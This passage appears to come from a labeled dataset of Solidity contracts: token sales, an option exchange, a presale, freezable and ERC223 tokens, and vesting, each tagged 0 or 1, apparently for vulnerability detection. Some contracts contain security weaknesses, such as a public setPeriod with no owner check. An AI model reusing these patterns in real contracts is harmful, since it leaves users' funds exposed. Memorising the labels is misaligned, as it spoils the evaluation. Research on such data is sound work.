uint256 tokenBase = weiAmount.mul(BASE_RATE);
uint8 stageNumber = currentStageIndex();
tokens = getStageTokenAmount(tokenBase, stageNumber);
while(tokens.add(totalSupply) > stageCaps[stageNumber] && stageNumber < 24){
stageNumber++;
tokens = getStageTokenAmount(tokenBase, stageNumber);
}
}
function getStageTokenAmount(uint256 tokenBase, uint8 stageNumber)internal view returns (uint256) {
uint256 rate = 10000000000000000000/stageRates[stageNumber];
uint256 base = tokenBase/1000000000000000000;
return base.mul(rate);
}
function currentStageIndex() internal view returns (uint8 stageNumber) {
stageNumber = 0;
while(stageNumber < 24 && totalSupply > stageCaps[stageNumber]) {
stageNumber++;
}
}
function buyTokensOnInvestorBehalf(address _beneficiary, uint256 _tokens) public onlyOwner beforeEnd {
generateTokens(_beneficiary, _tokens);
}
function buyTokensOnInvestorBehalfBatch(address[] _addresses, uint256[] _tokens) public onlyOwner beforeEnd {
require(_addresses.length == _tokens.length);
require(_addresses.length <= 100);
for (uint256 i = 0; i < _tokens.length; i = i.add(1)) {
generateTokens(_addresses[i], _tokens[i]);
}
}
function generateTokens(address _beneficiary, uint256 _tokens) internal {
require(_beneficiary != address(0));
totalSupply = totalSupply.add(_tokens);
balances[_beneficiary] = balances[_beneficiary].add(_tokens);
emit Transfer(address(0), _beneficiary, _tokens);
}
function close() public onlyOwner beforeEnd {
uint256 lockedTokens = 118000000000000000000000000;
uint256 partnerTokens = 147000000000000000000000000;
uint256 unsoldTokens = TOKENS_SALE_HARD_CAP.sub(totalSupply);
generateLockedTokens(lockedTokens);
generatePartnerTokens(partnerTokens);
generateUnsoldTokens(unsoldTokens);
totalSupply = totalSupply.add(lockedTokens+partnerTokens+unsoldTokens);
tokenSaleClosed = true;
owner.transfer(address(this).balance);
}
function generateLockedTokens(uint lockedTokens) internal{
TokenTimelock lockedTeamTokens = new TokenTimelock(this, owner, dateTeamTokensLockedTill);
timelockContractAddress = address(lockedTeamTokens);
balances[timelockContractAddress] = balances[timelockContractAddress].add(lockedTokens);
emit Transfer(address(0), timelockContractAddress, lockedTokens);
}
function generatePartnerTokens(uint partnerTokens) internal{
balances[owner] = balances[owner].add(partnerTokens);
emit Transfer(address(0), owner, partnerTokens);
}
function generateUnsoldTokens(uint unsoldTokens) internal{
balances[owner] = balances[owner].add(unsoldTokens);
emit Transfer(address(0), owner, unsoldTokens);
}
function transferFrom(address _from, address _to, uint256 _value) public canBeTraded returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public canBeTraded returns (bool) {
return super.transfer(_to, _value);
}
} | 0 | 79 |
pragma solidity ^0.4.21;
contract Owned {
address public owner;
address internal newOwner;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
event updateOwner(address _oldOwner, address _newOwner);
function changeOwner(address _newOwner) public onlyOwner returns(bool) {
require(owner != _newOwner);
newOwner = _newOwner;
return true;
}
function acceptNewOwner() public returns(bool) {
require(msg.sender == newOwner);
emit updateOwner(owner, newOwner);
owner = newOwner;
return true;
}
}
contract SafeMath {
function safeMul(uint a, uint b) pure internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) pure internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) pure internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract ERC20Token {
uint256 public totalSupply;
mapping (address => uint256) public balances;
function balanceOf(address _owner) constant public returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) constant public returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract PUST is ERC20Token {
string public name = "UST Put Option";
string public symbol = "PUST";
uint public decimals = 0;
uint256 public totalSupply = 0;
uint256 public topTotalSupply = 0;
function transfer(address _to, uint256 _value) public returns (bool success) {
if (balances[msg.sender] >= _value && balances[_to] + _value >= balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
if (balances[_from] >= _value && allowances[_from][msg.sender] >= _value && balances[_to] + _value >= balances[_to]) {
balances[_to] += _value;
balances[_from] -= _value;
allowances[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant public returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowances[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return allowances[_owner][_spender];
}
mapping(address => uint256) public balances;
mapping (address => mapping (address => uint256)) allowances;
}
contract ExchangeUST is SafeMath, Owned, PUST {
uint public ExerciseEndTime = 1546272000;
uint public exchangeRate = 100000;
address public ustAddress = address(0xFa55951f84Bfbe2E6F95aA74B58cc7047f9F0644);
address public officialAddress = address(0x472fc5B96afDbD1ebC5Ae22Ea10bafe45225Bdc6);
event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s);
event Deposit(address token, address user, uint amount, uint balance);
event Withdraw(address token, address user, uint amount, uint balance);
event exchange(address contractAddr, address reciverAddr, uint _pustBalance);
event changeFeeAt(uint _exchangeRate);
function chgExchangeRate(uint _exchangeRate) public onlyOwner {
require (_exchangeRate != exchangeRate);
require (_exchangeRate != 0);
exchangeRate = _exchangeRate;
}
function exerciseOption(uint _pustBalance) public returns (bool) {
require (now < ExerciseEndTime);
require (_pustBalance <= balances[msg.sender]);
uint _ether = _pustBalance * 10 ** 18;
require (address(this).balance >= _ether);
uint _amount = _pustBalance * exchangeRate * 10**18;
require (PUST(ustAddress).transferFrom(msg.sender, officialAddress, _amount) == true);
balances[msg.sender] = safeSub(balances[msg.sender], _pustBalance);
totalSupply = safeSub(totalSupply, _pustBalance);
msg.sender.transfer(_ether);
emit exchange(address(this), msg.sender, _pustBalance);
}
}
contract USTputOption is ExchangeUST {
uint public initBlockEpoch = 40;
uint public eachUserWeight = 10;
uint public initEachPUST = 5*10**17 wei;
uint public lastEpochBlock = block.number + initBlockEpoch;
uint public price1=4*9995*10**17/10000;
uint public price2=99993 * 10**17/100000;
uint public eachPUSTprice = initEachPUST;
uint public lastEpochTX = 0;
uint public epochLast = 0;
address public lastCallAddress;
uint public lastCallPUST;
event buyPUST (address caller, uint PUST);
function () payable public {
require (now < ExerciseEndTime);
require (topTotalSupply > totalSupply);
bool firstCallReward = false;
uint epochNow = whichEpoch(block.number);
if(epochNow != epochLast) {
lastEpochBlock = safeAdd(lastEpochBlock, ((block.number - lastEpochBlock)/initBlockEpoch + 1)* initBlockEpoch);
doReward();
eachPUSTprice = calcpustprice(epochNow, epochLast);
epochLast = epochNow;
firstCallReward = true;
lastEpochTX = 0;
}
uint _value = msg.value;
uint _PUST = _value / eachPUSTprice;
require(_PUST > 0);
if (safeAdd(totalSupply, _PUST) > topTotalSupply) {
_PUST = safeSub(topTotalSupply, totalSupply);
}
uint _refound = _value - _PUST * eachPUSTprice;
if(_refound > 0) {
msg.sender.transfer(_refound);
}
balances[msg.sender] = safeAdd(balances[msg.sender], _PUST);
totalSupply = safeAdd(totalSupply, _PUST);
emit buyPUST(msg.sender, _PUST);
if(lastCallAddress == address(0) && epochLast == 0) {
firstCallReward = true;
}
if (firstCallReward) {
uint _firstReward = 0;
_firstReward = (_PUST - 1) * 2 / 10 + 1;
if (safeAdd(totalSupply, _firstReward) > topTotalSupply) {
_firstReward = safeSub(topTotalSupply,totalSupply);
}
balances[msg.sender] = safeAdd(balances[msg.sender], _firstReward);
totalSupply = safeAdd(totalSupply, _firstReward);
}
lastEpochTX += 1;
lastCallAddress = msg.sender;
lastCallPUST = _PUST;
lastEpochBlock = safeAdd(lastEpochBlock, eachUserWeight);
}
function whichEpoch(uint _blocknumber) internal view returns (uint _epochNow) {
if (lastEpochBlock >= _blocknumber ) {
_epochNow = epochLast;
}
else {
_epochNow = epochLast + (_blocknumber - lastEpochBlock) / initBlockEpoch + 1;
}
}
function calcpustprice(uint _epochNow, uint _epochLast) public returns (uint _eachPUSTprice) {
require (_epochNow - _epochLast > 0);
uint dif = _epochNow - _epochLast;
uint dif100 = dif/100;
dif = dif - dif100*100;
for(uint i=0;i<dif100;i++)
{
price1 = price1-price1*5/100;
price2 = price2-price2*7/1000;
}
price1 = price1 - price1*5*dif/10000;
price2 = price2 - price2*7*dif/100000;
_eachPUSTprice = price1+price2;
}
function doReward() internal returns (bool) {
if (lastEpochTX == 1) return false;
uint _lastReward = 0;
if(lastCallPUST != 0) {
_lastReward = (lastCallPUST-1) * 2 / 10 + 1;
}
if (safeAdd(totalSupply, _lastReward) > topTotalSupply) {
_lastReward = safeSub(topTotalSupply,totalSupply);
}
balances[lastCallAddress] = safeAdd(balances[lastCallAddress], _lastReward);
totalSupply = safeAdd(totalSupply, _lastReward);
}
function DepositETH() payable public {
require (msg.sender == officialAddress);
topTotalSupply += msg.value / 10**18;
}
function WithdrawETH() payable public onlyOwner {
require (now >= ExerciseEndTime);
officialAddress.transfer(address(this).balance);
}
function allocLastTxRewardByHand() public onlyOwner returns (bool success) {
lastEpochBlock = safeAdd(block.number, initBlockEpoch);
doReward();
success = true;
}
} | 0 | 1,172 |
pragma solidity ^0.4.6;
contract Presale {
string public constant VERSION = "0.1.3-beta";
uint public constant PRESALE_START = 3058138;
uint public constant PRESALE_END = 3061678;
uint public constant WITHDRAWAL_END = 3062398;
address public constant OWNER = 0x45d5426471D12b21C3326dD0cF96f6656F7d14b1;
uint public constant MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH = 1;
uint public constant MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH = 5;
uint public constant MIN_ACCEPTED_AMOUNT_FINNEY = 1;
string[5] private stateNames = ["BEFORE_START", "PRESALE_RUNNING", "WITHDRAWAL_RUNNING", "REFUND_RUNNING", "CLOSED" ];
enum State { BEFORE_START, PRESALE_RUNNING, WITHDRAWAL_RUNNING, REFUND_RUNNING, CLOSED }
uint public total_received_amount;
mapping (address => uint) public balances;
uint private constant MIN_TOTAL_AMOUNT_TO_RECEIVE = MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether;
uint private constant MAX_TOTAL_AMOUNT_TO_RECEIVE = MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether;
uint private constant MIN_ACCEPTED_AMOUNT = MIN_ACCEPTED_AMOUNT_FINNEY * 1 finney;
function Presale () validSetupOnly() { }
function ()
payable
noReentrancy
{
State state = currentState();
if (state == State.PRESALE_RUNNING) {
receiveFunds();
} else if (state == State.REFUND_RUNNING) {
sendRefund();
} else {
throw;
}
}
function refund() external
inState(State.REFUND_RUNNING)
noReentrancy
{
sendRefund();
}
function withdrawFunds() external
inState(State.WITHDRAWAL_RUNNING)
onlyOwner
noReentrancy
{
if (this.balance > 0) {
if (!OWNER.send(this.balance)) throw;
}
}
function state() external constant
returns (string)
{
return stateNames[ uint(currentState()) ];
}
function sendRefund() private tokenHoldersOnly {
var amount_to_refund = balances[msg.sender] + msg.value;
balances[msg.sender] = 0;
if (!msg.sender.send(amount_to_refund)) throw;
}
function receiveFunds() private notTooSmallAmountOnly {
if (total_received_amount + msg.value > MAX_TOTAL_AMOUNT_TO_RECEIVE) {
var change_to_return = total_received_amount + msg.value - MAX_TOTAL_AMOUNT_TO_RECEIVE;
if (!msg.sender.send(change_to_return)) throw;
var acceptable_remainder = MAX_TOTAL_AMOUNT_TO_RECEIVE - total_received_amount;
balances[msg.sender] += acceptable_remainder;
total_received_amount += acceptable_remainder;
} else {
balances[msg.sender] += msg.value;
total_received_amount += msg.value;
}
}
function currentState() private constant returns (State) {
if (block.number < PRESALE_START) {
return State.BEFORE_START;
} else if (block.number <= PRESALE_END && total_received_amount < MAX_TOTAL_AMOUNT_TO_RECEIVE) {
return State.PRESALE_RUNNING;
} else if (block.number <= WITHDRAWAL_END && total_received_amount >= MIN_TOTAL_AMOUNT_TO_RECEIVE) {
return State.WITHDRAWAL_RUNNING;
} else if (this.balance > 0){
return State.REFUND_RUNNING;
} else {
return State.CLOSED;
}
}
modifier inState(State state) {
if (state != currentState()) throw;
_;
}
modifier validSetupOnly() {
if ( OWNER == 0x0
|| PRESALE_START == 0
|| PRESALE_END == 0
|| WITHDRAWAL_END ==0
|| PRESALE_START <= block.number
|| PRESALE_START >= PRESALE_END
|| PRESALE_END >= WITHDRAWAL_END
|| MIN_TOTAL_AMOUNT_TO_RECEIVE > MAX_TOTAL_AMOUNT_TO_RECEIVE )
throw;
_;
}
modifier onlyOwner(){
if (msg.sender != OWNER) throw;
_;
}
modifier tokenHoldersOnly(){
if (balances[msg.sender] == 0) throw;
_;
}
modifier notTooSmallAmountOnly(){
if (msg.value < MIN_ACCEPTED_AMOUNT) throw;
_;
}
bool private locked = false;
modifier noReentrancy() {
if (locked) throw;
locked = true;
_;
locked = false;
}
} | 0 | 814 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Transfer(msg.sender, _to, _amount);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "ArgusNodeToken";
string constant TOKEN_SYMBOL = "ArNT";
bool constant PAUSED = false;
address constant TARGET_USER = 0x504FB379a29654A604FDe7B95972C74BFE07C118;
uint constant START_TIME = 1527818400;
bool constant CONTINUE_MINTING = false;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 0 | 1,852 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() internal {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MineBlocks is Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping(address => uint256) holded;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
if(block.number>blockEndICO || msg.sender==owner){
balances[msg.sender] = balances[msg.sender].sub(_value);
holded[_to]=block.number;
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
holded[_to]=block.number;
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
string public constant standard = "ERC20 MineBlocks";
string public name;
string public symbol;
uint8 public constant decimals = 8;
uint256 public constant minPrice = 1500000000000000;
uint256 public blockEndICO = block.number + uint256(259200);
uint256 public buyPrice = minPrice;
uint256 constant initialSupply=1000000000000000;
string constant tokenName="MineBlocks Token";
string constant tokenSymbol="MBK";
uint256 public tokenReward = 0;
uint256 private constant tokenUnit = uint256(10)**decimals;
address public MineBlocksAddr = 0x0d518b5724C6aee0c7F1B2eB1D89d62a2a7b1b58;
event LogDeposit(address sender, uint amount);
function MineBlocks() public {
balances[msg.sender] = initialSupply;
totalSupply = initialSupply;
name = tokenName;
symbol = tokenSymbol;
}
function () public payable {
buy();
}
modifier status() {
_;
if(balances[this]>600000000000000){
buyPrice=1500000000000000;
}else if(balances[this]>500000000000000 && balances[this]<=600000000000000){
buyPrice=2000000000000000;
}else if(balances[this]>400000000000000 && balances[this]<=500000000000000){
buyPrice=2500000000000000;
}else if(balances[this]>300000000000000 && balances[this]<=400000000000000){
buyPrice=3000000000000000;
}else{
buyPrice=4000000000000000;
}
}
function deposit() public payable status returns(bool success) {
assert (this.balance + msg.value >= this.balance);
tokenReward=this.balance/totalSupply;
LogDeposit(msg.sender, msg.value);
return true;
}
function withdrawReward() public status{
if(block.number-holded[msg.sender]>172800){
holded[msg.sender]=block.number;
msg.sender.transfer(tokenReward*balances[msg.sender]);
LogWithdrawal(msg.sender, tokenReward*balances[msg.sender]);
}
}
event LogWithdrawal(address receiver, uint amount);
function withdraw(uint value) public onlyOwner {
msg.sender.transfer(value);
LogWithdrawal(msg.sender, value);
}
function transferBuy(address _to, uint256 _value) internal returns (bool) {
require(_to != address(0));
require(_value <= balances[this]);
balances[this] = balances[this].sub(_value);
holded[_to]=block.number;
balances[_to] = balances[_to].add(_value);
Transfer(this, _to, _value);
return true;
}
function buy() public payable status{
require (msg.sender.balance >= msg.value);
assert (msg.sender.balance + msg.value >= msg.sender.balance);
uint256 tokenAmount = (msg.value / buyPrice)*tokenUnit ;
transferBuy(msg.sender, tokenAmount);
MineBlocksAddr.transfer(msg.value);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public onlyOwner returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
}
contract tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public ;
} | 1 | 2,220 |
pragma solidity ^0.4.21;
contract ABXToken
{
mapping(address => uint256) public balanceOf;
function transfer(address newTokensHolder, uint256 tokensNumber)
public
returns(bool);
}
contract VestingContractABX
{
struct AccountData
{
uint original_balance;
uint limit_per_period;
uint current_balance;
uint current_limit;
uint current_transferred;
}
address public owner;
ABXToken public abx_token;
mapping (address => AccountData) public account_data;
uint public current_period;
uint[] public periods;
address[] public accounts;
modifier onlyOwner
{
require(owner == msg.sender);
_;
}
event Transfer(address indexed to, uint indexed value);
event OwnerTransfer(address indexed to, uint indexed value);
event OwnerChanged(address indexed owner);
event CurrentPeriodChanged(uint indexed current_period);
function setPeriod(uint i, uint v)
public
{
periods[i] = v;
}
function VestingContractABX(ABXToken _abx_token)
public
{
owner = msg.sender;
abx_token = _abx_token;
periods.push(1524355200);
periods.push(1526947200);
periods.push(2**256 - 1);
current_period = 0;
initData(0xB99f9Ff7349A74f74Ee78bA76F692381925B4372, 192998805 * 10**16);
initData(0x6f15F81d3726dEc1c7D8db7c7C139de5B8a5DCdA, 50000 * 10**18);
initData(0x0339Db6d5827cFf0271a5bd3EEe991bE1DCe2AD9, 50000 * 10**18);
initData(0x4477A5b0Bd59E4661008D07938293e61A95cbC9D, 25725 * 10**18);
initData(0x1c8dBee998C6B905B46e517Cf5A6E935673b7c8F, 33650 * 10**18);
initData(0xF3E33Ee85414Cb9b2D1EcFf9508BD24285fD3194, 46350 * 10**18);
initData(0x70d370528cd58A2531Db49e477964D760cf9fE56, 413950 * 10**18);
initData(0xd2A64d99025b1b0B0Eb8C65d7a89AD6444842E60, 500000 * 10**18);
initData(0xf8767ced61c1f86f5572e64289247b1c86083ef1, 33333333 * 10**16);
}
function()
public
payable
{
revert();
}
function getBalance()
constant
public
returns(uint)
{
return abx_token.balanceOf(this);
}
function initData(address a, uint v)
private
{
accounts.push(a);
account_data[a].original_balance = v;
account_data[a].current_balance = account_data[a].original_balance;
account_data[a].limit_per_period = account_data[a].original_balance / 3;
account_data[a].current_limit = account_data[a].limit_per_period;
account_data[a].current_transferred = 0;
}
function setOwner(address _owner)
public
onlyOwner
{
require(_owner != 0);
owner = _owner;
emit OwnerChanged(owner);
}
